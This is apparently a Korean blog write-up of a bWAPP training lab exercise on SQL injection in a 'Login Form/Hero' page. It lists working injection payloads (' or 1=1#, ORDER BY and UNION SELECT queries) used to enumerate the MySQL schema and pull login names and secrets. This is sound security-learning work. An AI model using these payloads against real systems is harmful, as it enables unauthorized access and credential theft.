Login Form / Hero 페이지(sqli_3.php)에 들어가면
다음과 같이 나온다.
해석하면 '너의 슈퍼히어로를 입력해라' 이런 뜻이다.
처음에 나는 부모님 이름을 적었는데 안되었다.
그래서 슈퍼맨, 배트맨 등 히어로 이름을 다 적었지만 그것도 안되었다.
그래서 고민을 하다가 이 페이지가 SQL Injection 페이지인 만큼 SQL injection 공격을 수행해야 하는 것 같았다.
순서
1. 사용 중인 DB 서버 알아내기 - '(작은 따옴표)
'를 입력하니 다음과 같은 에러 메시지가 나왔다. 다음 메시지를 통해 우리는 사용중인 DB가 MYSQL이라는 것을 알아 낼 수 있었다.
2. DB안에 있는 전체 내용 알아내기 - ' or 1=1#
로그인 창에(패스워드 창도 가능)에 ' or 1=1#을 입력해주면 다음과 같이 Neo라는 계정을 얻을 수 있다.
3. 컬럼 갯수 확인하기 - ' order by 컬럼수#(or ' union select all 컬럼수#)
로그인 창에 ' order by 4#까지 입력하였을 때
다음과 같이 나오다가 'order by 5#을 입력하였을 때
다음과 같은 에러가 나온다 이를 통해 우리는 컬럼 갯수가 4개라는 것을 알 수 있다.
4. 출력되는 컬럼 확인하기 - 0' union select 1,2,3,4#
화면에 출력되는 컬럼을 확인하기 위해0' union select 1,2,3,4#를 입력하니 다음과 같이 나왔다.
2번 컬럼과 4번 컬럼의 값이 출력된다는 것을 확인할 수 있다.
5. DB버전과 DB명 알아내기 - 0' union select null,@@version,null,database()#
DB버전과 DB명을 알아내기 위해 2번째 컬럼에는 @@version, 4번째 컬럼에는 database()를 입력하였다.
-> 0' union select null, @@version,null, database()#
이를 통해 우리는 5.0.96version의 DB와 사용하는 DB명은 bWAPP이라는 것을 알아내 었다.
6. 테이블 명 알아내기 - 0' union select null, table_name,null,null from information_schema.tables where table_schema!= 'information_schema'#
다음과 같이 입력하면 Blog라고 나온다. 분명 테이블이 더 존재하겠지만 페이지 특징 상 테이블 명이 하나만 나온다.
그러므로 table_name 중에 blog를 제외하고 계속 찾아 보았다.
6-1 Blog 제외 다른 테이블 찾기 - 0' union select null, table_name, null,null from information_schema.tables where table_schema!= 'information_schema' and table_name!= 'blog'#
이렇게 하니 다음으로 Heroes라는 테이블이 나왔다.
일단 문제 자체가 Hero와 관련되어 있으니 가장 유력한 후보이지만 일단 테이블 명을 더 찾아보도록 하겠다.
6-2 Blog, Heroes 제외 다른 테이블 찾기 - 0' union select null, table_name, null,null from information_schema.tables where table_schema!= 'information_schema' and table_name!= 'blog'and table_name!= 'Heroes'#
다음과 같이 Movies가 나왔다.
이런 방식을 계속 사용해서 끝까지 찾아보겠다.
현재 내가 찾은것은 이정도인데 이정도만 되도 Heroes에 이번 문제와 관련된 계정정보가 들어가 있을 거 같았다.
7. 테이블 안에 컬럼명 찾기 - 0' union select null, column_name,null,null where information_schema.columns where table_name='Heroes'#
이제 Heroes 테이블 안에 있는 컬럼명을 알아내기 위해 다음과 같이 입력 했다.
id라는 컬럼이 있다는 것을 알아내었다.
이제 다른 컬럼이 무엇이 있는지 알아 보기 위해 다음과 같이 입력한다.
7-2 id 외에 다른 컬럼 알아내기 -
' union select null, column_name, null, null from information_schema.columns where table_name='Heroes' and column_name!='id'#
8. login과 secert 정보 알아내기 - ' union select null, login, null, secret from heroes#
이제 여기서 login 정보와 secret 정보를 통해 아이디와 secret 정보를 알아내보자
위에 언급한 대로 입력하면
다음과 같이 아이디와 secret 정보를 알아낼 수 있다.
책을 보니 alice 정보를 알아냈던데 그럼 alice의 정보도 알아보도록 하겠다.
8-1 alice 정보 알아내기 - ' union select null, login, null, secret from heroes where login= 'Alice'#
이렇게 해서 Alice의 id로 로그인에 성공을 하였다.
이번 문제는 출려값이 하나밖에 없어서 노가다가 좀 있었다. 다른 방식으로 풀면 더 간단히 풀 수 있겠지만 지식이 많이 부족하여 그 방식대로 풀지 않고 노가다로 풀었다.
난이도-(중, 상)
당연히 안되겠지만 혹시나 SQL Injection이 되는지 확인하기 위해 페이지에 ' 넣어보았다.
(sql injection 공격이 먹는 페이지)
(sql injection 공격이 안 먹는 페이지)
당연한 결과도 이제 코드 보면서 해석해야겠다.
sqli_3.php 페이지의 소스코드를 확인해보자
터미널에 들어가서
1. cd /var/www/bWAPP
2. gedit sqli_3.php
이렇게 입력해보자
들어가서 확인하면
다음과 같이 나오는데 (중) 단계에는 sqli_check_1 함수가 (상) 단계는 sqli_check_2 함수가 적용되어 있다.
이 2가지 함수는 https://tkdrms568.tistory.com/138
에 정리 해 놓았다.
'웹해킹 > bee-box' 카테고리의 다른 글
Blind SQL Injection - Boolean Based (0) | 2019.08.05 |
---|---|
SQL-Injection(Blog) (0) | 2019.08.04 |
SQL Injection(AJAX/JSON/JQuery) (0) | 2019.08.03 |
SQL-Injection(POST/Select) (0) | 2019.08.02 |
SQL Injection(GET/Select) (0) | 2019.08.01 |